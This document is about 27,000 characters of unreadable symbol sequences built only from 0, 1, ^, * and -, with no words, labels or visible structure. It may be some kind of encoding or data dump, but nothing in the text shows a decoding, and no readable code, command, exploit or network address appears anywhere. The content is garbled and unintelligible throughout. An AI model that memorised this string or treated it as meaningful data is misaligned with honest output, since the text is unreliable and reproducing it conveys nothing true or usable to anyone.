0101^11**010^1*10101*****0^^1**01*011**0101**011*11*****11**-*00-*010-*001^101**10^1*1**0101^11**010^1*10101*01****001011*00-*00-*010-*1*****101*00101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*101****00-*0101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*001*****11**01**01**01****0-1**1**1*001***001*^1*0011**001****0-1*0-*010-*11**1***001*^1*011**011*0010-00-*0010^1*01****00-**-*00-*01**0101^11**010^1*10101*1*****^1*00-*0101*0010-*1*****101**-*00-*00-**1^101**10^1*1**0101^11**010^1*10101*11****001011*0011*0011***1**011**1*0101*0010-*1**0011****00101**01**01**01****0-1*1***1*001***001*^1*011**11*****-1*0101**001*0-**1*001***001*0101*0011*0011*****-1**11*11**1***001**1*0011**001****0-1*01**11**1***001**1**01**001*101*0010-**1**001**1*00-**101^1**10^1**1*0011****00-**101^1**10^1**01**1**01*00-**011**1*0101****01101*011**11*****-1*1**00-1*^1*-*0010^1*001**1***01*0011*0011**11*001011**01*011*****11**11*0011**101*0010-*0-*011****00-*0011**11*****-1*^-0-*0010^1*11**1***001*0101*011**011*00^^11**010^1*01****00-*0011**11*****-1**1*011**1***001**1*0011*0011**1011*00-*011*****11**11**001*01101*01011*011*****11**001*011**01**0-1*1**00-1****-1*1**0101*0011***01*0011*011***1*01*101011*0010^1*01****00-**11*0011**1**00-1****-1*01**0-1*0-*0101*0011***01*0011*011**11**1**00-1****-1*1***1**1***01*0101*011**11*****-1*1**011**1***001**1*0011*0011*****-1*1**00-1*^1*-*0010^1*001**1***01*0011**01*0011**001*0101*0011*****11**001*0011**001****0-1*1***1*001***001*^1*011**011**001*001****00101**001*0011****00-1*01**0-1*1**00-1*0-*0101*0011***01*0011*0011**11****00-1*101*011**10^1*11**1***001*0101*0011*0011**10^^1**11*1*0-*011*****001*0011**001*0^^11**010^1*01****00-*0011**11*****-1*101*0010-*11**1***001*^1*0011**11*00^11*11*0011*1**01**11*11****00^1*011**011****00-1*0-*011**1***001**1*011**11***1*0101*0010-*1011**1*****01*0011**11****00-1*1**00-1*10-11011*0010^1*001**1***01*0011*011***1**01*0101*0010-*11****00-**001*0011*001010^11**11*1*1**00-1****-1*01**101**1***01*1011*00-**1^101**10^1*1**0101^11**010^1*10101*1*****1101*0011**001**01*011**11*****11**11*0011*****-1*^1101011*0010^1*11**1***001*0101*010101101**010^1*101*0010-*1*****-**11*0011***1**01**01**1****0-*0011**11**11*****-1**1**1*001***001*^1*011**11*****-1*1**00-1*0-**1**1***01*0101*011**11***11**11*01**001****0-*0011**11***1*001****00101**11**001*01010-1**010^1*01****00-**001*00-*00-*001****00101**001**01**01*00-*011*****11**11*0011**1101*00-*011*****11*0011***1****0-1*0-*011**1***001**1*00-**01*00-*001****00101*0011**11*****-1*101*011**10^1*11**1***001*0101*0011**11*00101*0010-****-1*1***1*001***001*0101**01*011***1**01**01**1****0-*00101*0010-*0-*01*****101**11*0011*****-1*0-*011**1***001**1*011***1****0-1*1**00-1*1***1**1***01*0101*011***1**011*101*0011*****11*0011**11**1**00-1****-1*10^101**010^1*001**1***01*0011*0101*0010-*101*0010-*1*****011**11**001****0-1*1**01**11*1*11**1***001*0101*0011**11****00-1*01**11**1***001**1**01*0011*00101*-**10^1*01****00-**001*011**101*0010-*0-*011****00-**11**11****00-1*0-*011**1***001**1*011**11**1**00-1****-1*10-001**010^1*001**1***01*0011**01*0011*00^1*0101*0010-*11****00-*0011**11*****-1*11**0-1*1**00-1*01**0-1*0-*0011**01***1*0-*011**011**0011**01*0101*011****00-**11**11*0010-*001*011*1*101*0010-*101*0010-*101*0010-*101****01011*011***1*01**00-1****-1*1***1**1***01*0101*011***1****0-1*1**00-1*10-001**010^1*001**1***01*0011*011***1****0-1*1**-*0010^1*11**1***001*0101**01*0011****00-1*101101101**10^1*11**1***001*0101**01*0011*00101*0010-****-1*1***1*001***001*0101*0011**001*0101011011**11*1****-1*1***1*001***001*1101*0011*0011***1**01*011*****11**001*0011*001**00-1*01**0-1****-1*0-*0101*0011***01*0011*00-**01**01*00-*00-**1****0-**11*0011**1**001****00101**-*0101*0010-*0-*001*****11**-*01**0101^11**010^1*10101*******01*011**011*001**00-1****-1*^1*-*0010^1*001**1***01*0011**01*011*****-1*101*-1*0010^1*11**1***001*0101*011**011**-*001****00101**-*00-*00-*00-*011*****11**-*01**0101^11**010^1*10101**1*01*****^1*0011**11**001*001**11*****11**11*0011**10^1011**11*1****-1*1***1*001***001*1101*011***1*010110-11*0010^1*01****00-**001*0011****00-1*^-0-*0010^1*11**1***001*0101*011**11*****-1*1*101011*0010^1*10-*11**1***001*1101**01**01****0-1*0-*011**1***001**1*0011*0011*****-1*01**11**1***001**1**01*0011****00-1*1**011**1***001**1**01**01**01****0-1*1011*-*0010^1*001*001***001*1101**01*0011**-*001****00101**001*011*****-1*101010-1*0011*1*11**1***001*0101*0011**11*00^10-11*0010^1*10-*01*****001*0011**11****00-1*101*0010-*11**1***001*^1**01*011**1**00-1****-1*1***1**1***01*0101*011**011**001*0101*0010-*011**01*****01*011***1**01**01*0101*0010-**11*1**0011****00101*00-*010-*******1**-*00-*00-*001****00101**11**11****00-1*101101101**10^1*10-*11**1***001*1101*0011**11****00-1**1*011**1***001**1*011***1*01**00-1****-1**1**1**1***01*0101*0011**11*001**01**11*1*1**01**11*1*01**001****01101*0011**001*001*****-1*1***1*001***001*^1*0011*0011**1**00-1****-1*1***1**1***01*0101*0011*0011**11**10-****-1*0-**1*001***001*0101**01**01*01010^11**11*1**1**01*01**00-1**1****0-1**1**01*001***01**01*001^101**10^1*****0^101**11*0011**101*0010-****-1*1***1*001***001*0101*0011**001****0-1*10-011**010^1*11**1***001*0101*0011**11*00^10101**011*1*-*0011*****001*011**11*****-1*101*11**011*1**01*0-**1*001***001*0011**01**01*0101*0010-*0-*0101*0010-*001****0^1*0101*0010-*101*0010-*0-*001****00-**11*0011**^10101**011*1*^10101**011*1*^10101**011*1*001****01011*011***1****0-1*1**00-1*0-**1**1***01*0101*011***1****0-1*1**011**1***001**1*011**011****00-1**1*011**1***001**1**01*0011**1*****-1*1**00-1*101010101**10^1*101**1***01*1011*0101*0010-*101*0010-*101*0010-*01*****001**01*0011**001*0101*0010-*0011**1*****01**01*0011****00-1*0-*011**1***001**1**01**01**01****0-1*1**00-1*1**0101**1***01*1101*0011*0011*****-1*1010-011*0010^1*11**1***001*0101**1^-**11*1*001^101**10^1*1**0101^11**010^1*10101*1****^1011*011**011**001**01*0101*0010-****-1*101*0010-*011*001***001*1011*011**11***1*0101*0010-*0101**1*****01*00-*00-**001*0-*001***001*11**-**001*0-*00-*001**11***00^-*00101*0010-*0-*01****^101**-**1^101**10^1*1**0101^11**010^1*10101*1****^1101*0011**11**001****0-1*101*0010-*001*001***001*0101*0011**11*001**00-1****-1**1**1**1***01*0101*011**011**1*****-1*1***1*001***001*^1*0011**11****00-1*10^-11*0010^1*11**1***001*0101**01*011*****-1*10-0-1*0010^1*10-*11**1***001*1101*0011**001*0101010-1*0011*1**01**1*011****00^1*011***1****0-1*1**00-1*00-*001**1***01*0101*0011**11**001*01**011*****11**001*0011****00-1*1**00-1*01**001**1***01*0101**01*0011****00-1*0-*010-*11**1***001*^1*011**011****00-1*10101101**010^1*11**1***001*0101*011**011**1***01****-1*1***1*001***001*0101*011**011**0011**1*011*****11*0011***1*001*****-1*1***1*001***001*^1*011***1****0-1**1*011**1***001**1*011***1*01**00-1****-1*0-**1**1***01*0101*0011**001****0-1*101*0010-*11**1***001*^1*00-*01**01****1*01**01^101**10^1*1**0101^11**010^1*10101*****01*101**01*0011****00-1*1**00-1*01**0-1*00-*101*0011***01*0011*011***1**01****0-1*0-**1*001***001*^1**1^101**10^1*1**0101^11**010^1*10101******00101**-*10-^1**10^1*001101^^1*^-001**10^1*11***00^1101*011**011*00101*0010-****-1*101*0010-*001*001***001*1101*0011**11**0011*0101*011*****11*00^11*11*0011*1**01*1**01****^-***-00^1*1**01****^101**0011**11**1**011*0101**1****0-**0011**11*01**01****00101**0011**11*1*****001**11*0011*****-1**1*011**1***001**1**01**01****0-1*1**00-1*^^-1*0010^1*001**1***01*0011**01*011*****-1*^-0-*0010^1*11**1***001*0101**01*011***1*001****00101*0011**11***11*1**011*****11**001**01*0^11*11*0011*1**01**1*011****00^1*011**11**101*0010-****-1*0-**1*001***001*0101*011**011**-*010-*01*****11**01101^^1*1**01****^101*00^1*00-*01****1*01**-*****00^11**10^11011*0010^1*00-*1**001***00^-**1**1**01****1*01**1******0^11**^-001**10^1**1*01****1*11**0-*10-^1**10^1**11**11**1*0^-001**10^1*101***01*011*0^-001**10^1*1**01****1*11**0-*10-^1**10^1*10101*11*0011*1*^-001**10^1*11***001*011*010101*11*0011*1*1**01****1*11**0011*00-*1**001***00^101**0011*01**1*****001**0011**11**1**011**1**1****0-**001**011**110^^1**1**011*001*****01**011**11**1**01*011***001*11**01010^^1*1**01****^101***10^^1*1**01****^101**11*0011*****-1*11**10-*11**1***001*^1**01*0011****00-1**1*011**1***001**1**01**01*01**00-1****-1*00-*001**1***01*0101*001***01**11*01**01*****11**-**011*1*****001**1*******011**^1******0011***1*001**1*****001**01*101*1**01*01**1*****011**11**11**001*0^1*011*****11**001**01*01**00-1****-1*1***1**1***01*0101*011**011****00-1*0101*011**1***001**1*0011*0011**0101*00101****0-1*0101*01**00-1*1**0-**1***01*1011**01*011**0-*001****00101**11*0011***1**01*01**00-1**1****0-1*1**0-**1***01*1011**01*0011*001*****001**0011*00-*1*****001**0011**01**1**011**11**11**11*1**01**11*1**01**11**1**01****-1**011**01**1**001**1**011**1**1****0^1**011**01**1**001**1**01*011*****001**011**01*^1*01**01**11*1**01**1*011*****101*00101*00-*00-**01*011*****11**001*00-**01**01*011*****11**001*010^101**010^1*^1**001*^1**001*^1**001**1*010^101**010^1*0-*001***1****0^1*0-*001**1*****001**-**01*010^101**010^1*0-*00-*00-**01*0011****01101**011*^1**01*010^101**010^1*101*0010-*^1*0^1**01*0-****01011**01**011*1*****001**001**001**11**1*001*****11**001*010^101**010^1**11**11*^1**1****0^1*0^1**001*^1*0^1*010-**11*01**001****0^1*0101*0010-*01**1*****101**0011**1*01*****001**001*010^101**010^1**11**1*011*****001**011******011**011**001****0-1*1**00-1*01**0-1*0-*0101*0011***01*0011*011**011**001****0-1*1***1*001***001*^1**01*011*****-1*10110-**010^1*11**1***001*0101*0011**11**001*0101*0010-**1**1*****01*011**11*****-1**11*00-*001*001***001*^1*0011**11*00101*11**011*1*01****00-**11**11*00^^11**010^1*01****00-**-*00-*01*****001**-******0011**0-*01**01*****001*001*0011**010^1*1**01*****011**001**01*010-101**010^1*01****00-**001*0011****00-1*10110101**010^1*11**1***001*0101*011***1*0^10101**011*1*^10101**011*1**1**1****01101**01**01*01**001****00101**001**01*011**0-*011*****11*001*001011*0011*1*10-^11*0010^1*1*0101**010^1*00-*01**001****01011*01******00^11**1*******0011**0-**01*001**10--1**11*1*10101*-**-**01*001**10-1101*1*10101*011*001*101011*0010^1*1**01*1011**011*1*10101**1*00-**01*001**^101^^1*10101*011*001*101011*0010^1*1**0101^11**010^1*10101**1**--1**10^1*1**0101^11**010^1*10101**1****0-1*1**0^^^1*0010^1*10101*-****00-1*1**01*00^1*0010^1*10101*-*001*10-1*0010^1*1**010-1*1*0010^1*10101**1*01*10-1*0010^1*1**010-*1**10^1*10101**1**-0011**10^1*1**01*1011**011*1*10101**1**0-101**10^1*1**01*1011**011*1*10101**1**0-101**10^1*1**0101^11**010^1*10101**1*0101*001**0101^11**010^1*10101*011**00-^^1*1**01*1011**011*1*10101*-**00-^^1*1**0101^11**010^1*10101*-**-*00-*001**10--1**11*1*10101*-**-*00-*001**10--1**11*1*10101*1**01*1011**011*1*10101*0011*00-*00-*001**10--1**11*1*10101*1**0101^11**010^1*10101*0011**-*1**10^1*1**01*1011**011*1*10101**1**-*1**10^1*1**0101^11**010^1*10101**1**011*1**10^1*1**01*1011**011*1*10101**1**011*1**10^1*1**0101^11**010^1*10101**1**011*1**10^1*1**0101^11**010^1*10101*0-*001**10--1**11*1*10101*0-**011*1**10^1*1**0101^11**010^1*10101*0-*001**10-1101*1*10101*1011**011*1**10^1*1**0101^11**010^1*10101*0-*001**^101^^1*10101*1011*00-*00-*00-*011**1*-11**10^1*10101*1**0101^11**010^1*10101*1011*00-*00-*00-*011**1*-11**10^1*10101**1*011**0-1*01**0-*00-*001**1*-01*1*10101*011**-*00-*001**101101^^1*10101*011****001*0010^1*1**01*1011**011*1*10101**1****01*0010^1*1**0101^11**010^1*10101**1*01*101011*0010^1*10-*001*00^10-11*0010^1*10-*001*00101101101**10^1*10-*001**0-0011**10^1*1**0101^11**010^1*10101**1**1^101**10^1*0-*001**^-101*1*10101**1**1^101**10^1*0-*001**1010-00^1*10101**1**1^101**10^1*0-*001**1*-01*1*10101**1**1^101**10^1*0-*001**101101^^1*10101**1*00-*00-*001**^101^^1*10101*011**-*00-*001**^101^^1*10101*0-*001**1*-01*1*10101*1101*00-*00-*001**^101^^1*10101*0-*001**101101^^1*10101*1101*00-*00-*001**^101^^1*10101*0-*001**^101^^1*10101*1101**1^101**10^1*0-*001**^101^^1*10101**1*00-*01**01*1011**011*1*10101*011*0010-0-1*0010^1*10-*001**-*01**01**11*1*01**^101^^1*10101**1**1010101**10^1*1**01*1011**011*1*10101**1**1010101**10^1*1**0101^11**010^1*10101**1*0101*0010-*01**1**00-1*01**01**0-1*01**0-*01**0101^11**010^1*10101*011**001*11**10^1*1**01*1011**011*1*10101**1**01*11**10^1*1**0101^11**010^1*10101**1**110-1**10^1*1**01*1011**011*1*10101**1**-1101**10^1*1**01*1011**011*1*10101**1**-1101**10^1*1**0101^11**010^1*10101**1**110-1**10^1*1**0101^11**010^1*10101**1**1^101**10^1*1**01*1011**011*1*10101**1**1^101**10^1*1**0101^11**010^1*10101**1****0-1*01**0-*010-*01**11**10-*01**010-*101*0101010-*1*--10-11010--**1101*1*0101011*-00^1101^101101010110101*0-00--011*11*001*0^1*1*00-00101^^11*0110101*-0^10-10-01101*1*******0-1101*0^-101*010110-1^^110-*1010101*010-0^^-*^-101*110110-*001*001*00110-1011********010^^11**1*****10-11***11*01***011011***0^-***00^11****0-***01*001***1*11***0-011****1011****1011***001*01****011***0101101****1*1***-011***01*11***0^-***0101101***001*11***-011****0011****1011***0101101****1*1***^-***0011*1***001*1***101101****1*1***1*11****1011****1011***011*01***1^11***0101*1***011*1***110-10101^101*****0-^1**0010101011**00-10-**00-1101***0-1011***011****1*-1***10101***011*1***01*^1**00^101***0010^11***1*01****^11***01*01**00101*1***1011011***1101*1***1101***001*1011**0011*011**00-01011**0010-01***-101***010--***0011011****101***11*01***0010101***11*101***1011***0010^101**00^10101***^1011**001101^1***1^11***1**1**00110101***001^1****011****1011****0-1***0^1*****-11**0011011****0110101**00-1101***101^1***11*1***00^1101***01011****0011***00-001***-11****^1****0101101**00101101****-101***101*1***^-***001^1***00101****1011011**001010^1***101*1**00--11***11*11***0^-***-01***0--***010101011**00--***0-0-****1*1***110101***1^101***^101***00^101****1011***10-011***1*11***1101****0-0101***101****10-001***01****00-1011**001010-1**0011*01***0011011****1011***110-1****11011**00101101***01*11***001101011***101****1*1101**0010^11***0-0-**00-11***0010-01***00^101**00-11011***0011011**00-0-***11*101**00^1011****0^1***-0011****0011**001^-1***1101****0011011**00-11***0011010-**00-0-***00-11***^11011***0-^1*-1**011*****-10101**001^-***0010^1***-*1**0011011011***110-1***01*1***101*11**0010101***00-00-**00110101****01011***10-011**00-0-010-*1*****1^1101***00-1***010-***01011****^1****00-1***010--**0010^1***010101101**001101^1**0010^11***-*1***^101***0-0^1**00-*11***0-001****1101**001010^1**0011*-**001*011***-101***0010^11**00-101***0--1***1101^1**00101*****1*1***101101*********--*****11**00^-1***011011***011010-**00-^1***-*11***-1***00^11011****1101**001*001***0011011***0110-***10^1***00-0011**0010-11***00-1***01*0011**0010-***001*0101**001*011***00110-**001*1***00101*1***1^-1***1*011***-0011**00^-1***01*-**0010^11***1101^1***1*011***01^11***10-11**00101*1***-11011***-****01*101***110-***0110-***01*011***0101010-1*1**011*****^11011**001101101***0^-1***01011****010101***-001***01011****^1101***^1011**001011*1****01****10-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1*****^11011***001101***0^-1***01011****010101***-001***01011****^1101***^1011**001011*1****01****10-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1*****^11011**001101101***0^-1***01011****010101***-001***01011****^1101***^1011**001011*1****01***0-0-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1*****^11011***001101***0^-1***01011****010101***-001***01011****^1101***^1011**001011*1****01***0-0-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1*****^11011**001101101***0^-1***01011****010101***-001***01011****^1101***^1011**001011*1****01***00110-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1*****^11011***001101***0^-1***01011****010101***-001***01011****^1101***^1011**001011*1****01***00110-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1*****^11011**001101101***0^-1***01011****010101***-001***01011****^1101***^1011**001011*1****01***01*-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1*****^11011***001101***0^-1***01011****010101***-001***01011****^1101***^1011**001011*1****01***01*-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1*****^11011**001101101***0^-1***01011****010101***-001***01011****^1101***^1011**001011*1****01****00-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1*****^11011***001101***0^-1***01011****010101***-001***01011****^1101***^1011**001011*1****01****00-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1*****^11011**001101101***0^-1***01011****010101***-001***01011****^1101***^1011**001011*1****01***01^-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1*****^11011***001101***0^-1***01011****010101***-001***01011****^1101***^1011**001011*1****01***01^-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1******1101***11*011***11****00110-1***0^11***00-11***101*11***01^101*1***001**01*****^11***0011*001****001****-01****011***1^-***11*011***1^1101*1*1*****^11011**001101101***1^-1**00101011***0^10101**00-^1***01011****10-01***^1011**001011*1****01***01^-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1*****^11011**00^1101***0^-1***01011****010101***-001***01011****^1101***^1011**001011*1****01***0-0-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1*****^11011***001101***1^-1**00101011***0^10101**00-^1***01011****10-01***^1011**001011*1****01***01^-1**001*11***0101*11***^^1**001^^1**0010110101***01****01**1***-101***1^1101***01011***00-01***01101^1**00110-101^1^1*****0-01***0101011****1^11**0010-***0011010101***110-***-0-1**00^11***001101101***01*011**001*^1**00101^11**00^-1***001*01**0010^11***1101^1***-0011***-0-***0010-**00^1101*****11**0011****0011*011***101101***1101011***-^11**00-00110-01^1*****1^1011**0011*11***^-***001*-**00101*1***0110-1**00-11****0011011****0-***110101***--1***10101****^-***10101011**00101011****0101***0101*11**0011011***0010^101**001101011***00110-***-****0-001***1*-1**001*0101**001^^1**00^1011***01101101**001010-***101*01**0010101011***1*011***10-11**0010^11***01*001***1****00-00-**001*-***0011011***1^1011**001^10101^101********01^1^1*0^1*01****10101***0^1^1*0^1*01***01*1^1*0^1*01****001^1*0^1*01***01^-010^11011*1^^-01010-0-101101^-010^1^^-00-0^-001^-0^10^1^^11**1^-01^11*1101^11*0^11010^1^11011*1*11010101^-01^10110^1*0110-011*0^11*0-0010110^101011*1101^11*11*101^10110^10^11011*110-01^1^1^10110^1*11**11*1101^1^11*11011*0^11*101^-011***011*110^101101^-01*01^1*01*1101101*01101010-01^-0^101^11010^-01*010-001^110-101101^-0-101^^-011*110^10110101^1***10^1^^-0-1011011*0^-0^1011011010^11*10-01^-0^-101^101***1^-00-0110-10110^101101^-00-011010^11*10-*0-10101*^-01*1*11010^110-010^-0^1011011010^11*10-01^-0^-101^101***01*110^1011*1101^^-0-1011011*1101^-01011011***10^1^^11**1^-01^11*1101^11*0^11010^1^11011*1*11010101^-01^10110^1*0110-011*0^11*0-0010110^101011*1101^11*11*101^10110^10^11011*110-01^1^1^10110^1*11**11*1101^1^11*11011*0^11*101^-011***0^-^^-0-101101011011010^110101^101^-01^-010^11011*110-101^^-*00101*^1101*011010^1^^101***^-^^-0-101101011011010^110101^101^-01^-010^11011*110-101^^-*00101010^11*10-0^101^^-0-0101***0010-011*11010^11*10-0-101^^-*00101*1101101*01101010-*10-00^-0^101^110101***0^-0-101^^-00^-0101*1*10-01^-01*011*1^1*10-010^110-*1***10^11*00-0^-1*10101010^11*110110^101^11*1*10-010^110-*1****-10101*1010^1^10-10^101101^101010^11*110110^101^11*1*10-010^110-*1***10^11*110110^101^11*1010^11*10-0^101^^-0-0101***10^11*110110^101^11*1010^11*10-01*011010^1^^-011*01***10^11*110110^101^11*^1^110-^10-0-010^110^101^110101*00-01*0110101101^-01101010101***10^11*110110^101^11*^1^110-^10-0-010^110^101^110101*00-01*0110101^1***-001^-0110^1011*00-*00-01*0110101^1010^11*110110^101^11*1010^11*10-01*011010^1^^-011*01***10^11011*110^101^110-010^11*1*101^-0-1011*1*10^-^^-010^1101010-01*101***10^11*11011*^1^-01101*011*0^1010^11*10-01*011011*110^1011*11011*00-01010-*1*1***1^-01^-010^11011*110-101^^-*0010^-011010^11*00-0-^1***10^11*11011*^1^-01101*011*0^1010^1101^-0-1011*11011011*01***0-0110-10110^1011*10-01*0110101101^^-0-101^1^1^-0110^^101011011010^11*10-01^-0^-101^1010^-^^-010^1101010-01*101*10-00-001***0010-011*11010^1^10101^1*110-^10^-^^-010^1101010-01*101*10-00-001***10^11*^110-1011011*110^101^-01101010101*10-*0-1010^11*1010101^-0^^1***0010-*00-0^-^^-011*11010^11*1*1*10-*00-0^-^^-011*0^1*01***0010-*00-0^-^^-011*1^-0110101*1*10-*00-0^-^^-011*0^1*01***^-1010^110110^10^-10-101^^-*10-01^-010^11*1*1*10-*00-0^-^^-011*0^1*01***^-1010^110110^1*10-00^-0-1011*00-010110110^^1*10-*00-0^-^^-011*0^1*01***^-1*10-00^-010^11*00-0-101^^-*00101*10-010^1101^101*10-*00-0^-^^-011*0^1*01***^-1*10-00^-010^11*00-0-101^^-*00101*10-010^110-*1*10-*00-0^-^^-011*0^1*01***0^-010^11*^110^101^110-0-101^^-*0010101011011*01011*10-0^101^^-0-10110-0011*1101101*001010^1101^-0-1011*11011011*01*10-*00-0^-^^-011*0^1*01***0^-010^11*^110^101^110-0-101^^-*0010101011011*01011*10-0^101^^-0-10110-0011*1101101*00^-011010^11*00-0-^1*10-*00-0^-^^-011*0^1*01****-10101*1010^1101010-*1101101*01^1101010^-^^-010^1101010-01*1010-0011010^1^^101***^-1010^110110^1010^1101^-0-1011*11011011*010-0011010^1^^101****-10101*10^-1010^110110^^-011010^11*00-0-^10-0011010^1^^101***10^110-001101*01101^-01^-010^110101^1*^1^-011010^1101^101***0-0110^101101*011*01011011*01*^1^^-01*0110-101^1*11*00-0^1011*11011011*01010^110-001^-01101*011*01011011*01***0^-010^110-0-010^110^101^110101*^1^^-01*0110-101^1*11*00-0^1011*11011011*01*10-010^1101^101****-10101*1011010110-10110-1011*0^101^-0-0-0-1011*^1^-0110^10110-0101011010110-10110-1011*0101^-01101010101****-10101*1011010110-10110-1011*0^1*10-*0-1010^1^-001*11011*1101101*011011*01****-10101*1011010110-10110-1011*0^101^-0-0-0-1011*^1^-0110^10110-0101*10-010^1101^101***0010-00-011010^1101^-010^1^^-*0010^^-010^110-00110-001101010-001*11010^11*1*1010^11*10-0-101101011011010^1^^10101101011011*11010^11*01011011*01***10^11*11011*^1^-01101*011*0^1010^11*1101101010-*^110-10110101^1*10-010^110-*1***-101^1^1^-0110^^1*10-01010-*00-00-0110^^1*10-01^-01*011*1^1*10-010^110-*1***10^11*10-01*011*10-01^1010^-1010^110110^1*10-010^110-*1***1011011010^11*10-0^^1*10-010^110-*1*10-*1101101010-01*01^110101***1^-01011011010^11*10-0^^1010^11*10-01*01^^-010^110101101101010-00-0110101*1*10-*1101101010-01*01^110101***1^-*10-*1101101010-01*01^110101010^11*10-01*01^^-010^110101101101010-00-0110101*1*10-*1101101010-01*01^110101***0010-*1101101010-01*01^11010^-011010^11*00-0-^1*10-*1101101010-01*01^110101***10^11*110110^101^11*1010^1^110-0-10110101^1***10^110101101101*01^-001010^11*110110^101^11*1010^11*1101101010-*^110-10110101^1*10-010^110-*1***0-0110-10110^1011*10-01*0110101101^^-0-101^1^1^-0110^^1010^110101101101010-*110110-101^110101*10-010^110-*1***10^11*110110^101^11*1010^11*10-010^11*11011010^11*1*1***-001^-0110^101^^-*10-01^101010^11*110110^101^1^110-101^^-*00101010^11*10-01*01^110-0^101^^-*00101*10-010^110-*1****-10101*1010^11*^110-1011011*110^101^-011010101010-1011*10101***0010-01010-0-10110^-101*011*1^1*^1^^-01*0110-101^1*110^-1010^110110^1*10-010^110-*1***00^110^^101^-01^-010^11011*110-101^^-*00101*^1101*011010^1^^-*01011*101010-0-0-1011*^1^-0110^10110-0101*10-010^110-*1****-10101*1010^110101101101*01^-001010^11*110110^101^11*1010^11*1101101010-*^110-10110101^1*10-010^110-*1***1^-010^11*1101101010-*^110-10110101^101^-01^-010^11011*110-101^^-*001010101101101010-00-0110101*1***10^11*10-01*011*10-01^101*^1^^-01*0110-101^1*110^-1010^110110^1*10-010^110-*1****1011*10-0-001^-011010^11*1^1*10-*0-1010^11*101010-0-0-1011*^1^-0110^10110-0101*10-010^110-*1***0010-*0-1010^11*101010-0-0-1011*^1^-0110^10110-0101*10-010^110-*1***-0-0-1011*^1^-0110^10110-0101*^1^-01101010-0-101^^-0-0011010^1^^-0-101^11*1*10-010^110-*1***0011011*11011*^1^-01*011011*11011*^11*10-00-011***0011011*11011*^1^-01*010-*00-0^-^^-011*1^1*11***0^1^1^1^^1011*00-01*01^110-*^1101*001***0011011*11011*^1^-0^^1011*11011011*11*10-*1101101010-01*01^110-***0011011*11011*^1^-01*^1^1^11*011011010^1^-01^^-010^110110^1***0^1^1^11*011011010^1^-01^^-010^1101101011***0^1^1^11*^-010^1101^-01010-***0011011*11011*^1^-0^^1011*00-01*01101^-*00-***0011011*11011*^1^-01*^1^1^11*^-010^1101^-01010-***0-0110-10110^1011*10-01*011011*1101^-01010-001^1^1*110-^^^-010^11*10-001^1101*001*00-0^101^^-*10-01^101***10^1^^-01010-*10-01*011010^1^11*1***10^11*^1101010-*11011011*11*0-10101*1***1^-00^-010^1^1*1101011011010^110101^10-1011*101010^-1*11011*00-*00-01*001***1*1^1011011010^11*10-0^^10-1101*10-010^110-0011***1^1^1011011010^11*10-0^^10-1101*10-010^110-0011***0^1^1011011010^11*10-0^^10-1101*10-010^110-0011***10^1101010-*1101101*01^110101*10-010^110-*10^-^^-*10101***1^-010^1101010-*1101101*01^1101010-1101*10-010^110-0011***10^110-001^-01101*01^^101*^11*^1101*001***^-^^-0-101101011011010^110101^1*1101101*011011*110^101101^-0^-1*01011*00101*1101101*011*10-0-1011*101010-1101*10-010^110-0011***10^110101101101*01^-001*11011*1101101010-0011*101^1010-^10-1101*10-010^110-0011***0010-011*11010^11*10-0-101^^-*00-00-01101010101***0010-01^-01*011011*01***0010-01^-01*011*1^1***10^110110101101*011*10101***0010-01^-0^1011*1^10-1011*10101****0-0^10110110101101^101***0010-*0-1010^11*1010^^-010^1^-01^-0110^^10-1101*10-010^110-0011***1^-010^11*^110-101^-001*^11*110110^1011*01011011*010-1101*10-010^110-0011***10^11*^110-101^-001010^11*110110-001^-0110^101101^101*10-011*11010^11*11011010^1101^101***01^110-^101011011010^11*10-0^^10-1101*10-010^110-0011***00^1101*0110-1011*1^1***^-1*10-0^1011*1101101*01101010-01*101***00^110^101101010-0-*10-1101*10-010^110-0011***-0011010^11*00-0010^10-1101*10-010^110-0011***001*10^^1*10-01*0110101101^^-0-101^11*10-1101*10-010^110-0011***1^-00^-010^11*^110-1011011*1^-0110101*1010^110-001101*011010110110^^1*10-010^110-*1***0-011010^11010^1^^-011*1101^101010110110-101^^-0011*10^-1*00-0-1011011*01***10^110-001101*011010110110^^1010110110-101^^-0011*1***10^1^110-01*01101^101***101101101*01^^-01*011*001010-1101*10-010^110-0011***0010-*010110-00110^1011010^11*0^10-1101*10-010^110-0011****1011*10-*^110^10110-01010-1101*10-010^110-0011***1^-010^11011*1^-01101*011*10-01^-00-0110^^1*10-010^110-*1***1^-010^110^1011*10-00^-010^11*00-0-101^^-*001010-1101*10-010^110-0011***10^1101010-*1101101*01^1101010^-1*10-00^-010^11*00-0-101^^-*00101*10-010^110-*1***0010-010^110-*1***10^1^10-10^1011*1101101*0110^101^^-010^1101^-010^11*1*1***10^1^10-10^1011*1101101*0110^101^^-010^1101^101****1011*10-0-001^-011010^11*1^^-0110-101101^-0010^1*0-101*0110101^10-1101*10-010^1101^-***0-0110-10110^1011*10-*00-0^101^^-011*1101^-010^11*1*101^-01010-*